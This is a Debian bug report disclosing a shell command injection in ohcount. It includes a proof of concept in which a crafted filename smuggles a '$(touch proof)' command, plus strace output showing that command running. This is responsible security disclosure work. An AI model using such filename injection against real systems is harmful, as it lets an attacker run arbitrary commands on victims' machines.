Package: ohcount
Version: 3.0.0-8.3
Severity: grave
Tags: upstream security
Justification: user security hole

When ohcount tries to determine the type of a file with a specially
crafted name, it can execute arbitrary shell commands through improper
quoting. Details below.

## PoC

> $ echo hi > "test'\$(touch proof)'"
> $ ls
> test'$(touch proof)'
> $ ohcount .
> Examining 2 file(s)
> 
>                           Ohloh Line Count Summary
> 
> Language          Files       Code    Comment  Comment %      Blank      Total
> ----------------  -----  ---------  ---------  ---------  ---------  ---------
> ----------------  -----  ---------  ---------  ---------  ---------  ---------
> Total                 0          0          0       0.0%          0          0
> $ ls
> proof  test'$(touch proof)'


## How does it work?

I haven't read the source, so I can't point at the vulnerable line, but here's
a snippet of strace output (trimmed and indented for readability):

Processes:
26767: ohcount .
  26773: sh -c "file -b './test'$(touch proof)''"
    26776: touch proof
    26782: file -b ./test
  26791: sh -c "file -b '.'"
    26797 file -b .


26767 execve("/usr/bin/ohcount", ["ohcount", "."], [/* 52 vars */]) = 0
26767 write(1, "Examining 2 file(s)\n", 20) = 20
26767 open("./test'$(touch proof)'", O_RDONLY) = 3
26767 fstat(3, {st_mode=S_IFREG|0640, st_size=3, ...}) = 0
26767 read(3, "hi\n", 3)                = 3
26767 access("./test'$(touch proof)'", F_OK) = 0
26767 pipe2([3, 4], O_CLOEXEC)          = 0
26767 clone(child_stack=NULL, 
flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, 
child_tidptr=0x7f31736e69d0) = 26773
  26773 execve("/bin/sh", ["sh", "-c", "file -b './test'$(touch proof)''"], [/* 
52 vars */]) = 0
  26773 clone(child_stack=NULL, 
flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, 
child_tidptr=0x7f601329d9d0) = 26776
    26776 stat("/usr/bin/touch", {st_mode=S_IFREG|0755, st_size=93160, ...}) = 0
    26776 execve("/usr/bin/touch", ["touch", "proof"], [/* 52 vars */]) = 0
    26776 open("proof", O_WRONLY|O_CREAT|O_NOCTTY|O_NONBLOCK, 0666) = 3
    26776 exit_group(0)                     = ?
    26776 +++ exited with 0 +++
  26773 <... wait4 resumed> [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 
26776
  26773 stat("/usr/bin/file", {st_mode=S_IFREG|0755, st_size=22792, ...}) = 0
  26773 clone(child_stack=NULL, 
flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, 
child_tidptr=0x7f601329d9d0) = 26782
  26773 wait4(-1,  <unfinished ...>
    26782 execve("/usr/bin/file", ["file", "-b", "./test"], [/* 52 vars */]) = 0
    26782 lstat("./test", 0x7ffc9809f660)   = -1 ENOENT (No such file or 
directory)
    26782 stat("./test", 0x7ffc9809f660)    = -1 ENOENT (No such file or 
directory)
    26782 open("./test", O_RDONLY)          = -1 ENOENT (No such file or 
directory)
    26782 write(1, "cannot open `./test' (No such fi"..., 49 ) = 49
    26782 exit_group(0)                     = ?
    26782 +++ exited with 0 +++
  26773 exit_group(0)                     = ?
  26773 +++ exited with 0 +++
26767 open(".", O_RDONLY)               = 3
26767 fstat(3, {st_mode=S_IFDIR|0751, st_size=4096, ...}) = 0
26767 fstat(3, {st_mode=S_IFDIR|0751, st_size=4096, ...}) = 0
26767 lseek(3, 0, SEEK_END)             = 9223372036854775807
26767 lseek(3, 0, SEEK_SET)             = 0
26767 read(3, 0x56315aaed880, 18446744073709547520) = -1 EFAULT (Bad address)
26767 close(3)                          = 0
26767 access(".", F_OK)                 = 0
26767 pipe2([3, 4], O_CLOEXEC)          = 0
26767 clone(child_stack=NULL, 
flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, 
child_tidptr=0x7f31736e69d0) = 26791
  26791 execve("/bin/sh", ["sh", "-c", "file -b '.'"], [/* 52 vars */]) = 0
  26791 stat("/usr/bin/file", {st_mode=S_IFREG|0755, st_size=22792, ...}) = 0
  26791 clone(child_stack=NULL, 
flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, 
child_tidptr=0x7fb58ec689d0) = 26797
    26797 execve("/usr/bin/file", ["file", "-b", "."], [/* 52 vars */]) = 0
    26797 lstat(".", {st_mode=S_IFDIR|0751, st_size=4096, ...}) = 0
    26797 write(1, "directory\n", 10 <unfinished ...>
    26797 exit_group(0)                     = ?
    26797 +++ exited with 0 +++
  26791 exit_group(0)                     = ?
  26791 +++ exited with 0 +++
26767 write(1, "\n                          Ohloh"..., 79) = 79
26767 write(1, "Language          Files       Co"..., 158) = 158
26767 write(1, "----------------  -----  -------"..., 79) = 79
26767 write(1, "Total                 0         "..., 79) = 79
26767 exit_group(0)                     = ?
26767 +++ exited with 0 +++


## Disclosure, etc.

This is, AFAIK, a previously undisclosed vulnerability.

Salvatore Bonaccorso volunteered to request a CVE identifier for this
vulnerability.


-- System Information:
Debian Release: 9.2
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable'), (500, 'oldstable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386, mips, armhf, armel

Kernel: Linux 4.9.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages ohcount depends on:
ii  file           1:5.30-1+deb9u1
ii  libc6          2.24-11+deb9u1
ii  libpcre3       2:8.39-3
ii  ruby           1:2.3.3
ii  ruby-diff-lcs  1.2.5-2

ohcount recommends no packages.

Versions of packages ohcount suggests:
pn  ohcount-doc  <none>

-- no debconf information

_______________________________________________
Secure-testing-team mailing list
Secure-testing-team@lists.alioth.debian.org
http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/secure-testing-team

Reply via email to